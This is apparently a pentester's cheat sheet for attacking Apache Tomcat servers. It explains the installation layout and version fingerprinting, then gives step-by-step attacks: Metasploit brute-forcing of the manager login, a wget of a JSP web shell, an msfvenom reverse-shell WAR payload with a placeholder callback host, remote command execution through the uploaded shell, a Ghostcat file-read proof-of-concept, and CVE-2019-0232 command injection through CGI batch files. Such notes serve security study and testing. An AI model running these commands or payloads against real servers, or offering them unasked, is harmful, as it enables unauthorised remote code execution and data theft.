Tomcat

Introduction

The following schema represents a general folder structure of a Tomcat installation

├── bin ----------------------> The bin folder stores scripts and binaries needed to start and run a Tomcat server. 
├── conf ---------------------> The conf folder stores various configuration files used by Tomcat.
│   ├── catalina.policy
│   ├── catalina.properties
│   ├── context.xml
│   ├── tomcat-users.xml -----> Stores user credentials and roles. Allows/disallows access to /manager and /host-manager admin pages
│   ├── tomcat-users.xsd
│   └── web.xml
├── lib ----------------------> The lib folder holds the various JAR files needed for the correct functioning of Tomcat.
├── logs ---------------------> The logs and temp folders store temporary log files
├── temp ---------------------> The logs and temp folders store temporary log files
├── webapps ------------------> The webapps folder is the default webroot of Tomcat and hosts all the applications.
├── images
├── index.jsp
├── META-INF
│   └── context.xml
├── status.xsd
└── WEB-INF
|   ├── jsp
|   |   └── admin.jsp
|   └── web.xml --------------> Contains sensitive information. Stores information about the mechanisms underlying the application
|   └── lib
|   |    └── jdbc_drivers.jar
|   └── classes --------------> All compiled classes used by the application
|      └── AdminServlet.class  
|
└── work ---------------------> The work folder acts as a cache and is used to store data during runtime.
    └── Catalina
        └── localhost

Tomcat Footprinting & Enumeration

CommandDescription

Browse to http://test.example:8080/invalid

Requesting an invalid page should reveal the server and version

curl -s http://test.example:8080/docs/ | grep Tomcat

Read the default documentation page and check the Tomcat version

Browse to http://test.example:8080/manager

Check if the manager (admin-only) page exists

Browse to http://test.example:8080/host-manager

Check if the host-manager (admin-only) page exists


Tomcat Manager/Host-Manager Attacks

Having access to the /manager or /host-manager admin pages can help achieve RCE on the Tomcat server

  1. Login Bruteforcing:

    • To attempt login bruteforcing, se the auxiliary/scanner/http/tomcat_mgr_login Metasploit module

    • Note: in case of errors, you might need to set PROXIES http://127.0.0.1:8080 and edit the requests sent by the module with BurpSuite

  2. Tomcat Manager WAR File Upload to RCE

    • Prerequisites: credentials of a user with the manager-gui role

    • [Automatically] - Metasploit: multi/http/tomcat_mgr_upload

    • [Manually] - Download JSP Web Shell: wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp

    • Add the web shell to a WAR archive: zip -r backup.war cmd.jsp

    • [Alternative Payload]: msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your-ip> LPORT=<your-nc-port> -f war > backup.war

    • Navigate to /manager/html and upload the previous WAR file containing the JSP WEB Shell

    • Get RCE: curl http://test.example:8080/backup/cmd.jsp?cmd=id


Tomcat Unauthenticated LFI - CVE-2020-1938 - GHOSTCAT

  • Only works if the port 8009 is running the AJP service

  • Only allows to read files and folders within the webapps folder

Follow these steps:

  1. PoC: python2.7 tomcat-ajp.lfi.py test.example -p 8009 -f WEB-INF/web.xml


Attacking Tomcat-CGI [CVE-2019-0232] - Windows only

  1. What is a CGI Servlet?

    • A CGI Servlet is a program that runs on a web server to support the execution of external applications that conform to the CGI specification.

    • It is a middleware between web servers and external information resources like databases

  2. How does CVE-2019-0232 work?

    • CVE-2019-0232 is a critical security issue that could result in remote code execution.

    • Versions 9.0.0.M1 to 9.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93 of Tomcat are affected.

    • This vulnerability affects Windows systems that have the enableCmdLineArguments feature enabled.

    • An attacker can exploit this vulnerability by exploiting a command injection flaw resulting from a Tomcat CGI Servlet input validation error, allowing to execute arbitrary commands on the affected system.

Follow these steps:

  • Find any .cmd or .bat file inside the cgi directory by extension fuzzing

  • Fuzzing .cmd: ffuf -w /usr/share/dirb/wordlists/common.txt -u http://test.example:8080/cgi/FUZZ.cmd

  • Fuzzing .bat: ffuf -w /usr/share/dirb/wordlists/common.txt -u http://test.example:8080/cgi/FUZZ.bat

  • After finding one such file, append &command to gain RCE (example: welcome.bat)

  • http://test.example:8080/cgi/welcome.bat?&dir

  • Troubleshooting: specify the absolute path to the command, or alternatively you might need to use URL Encoding

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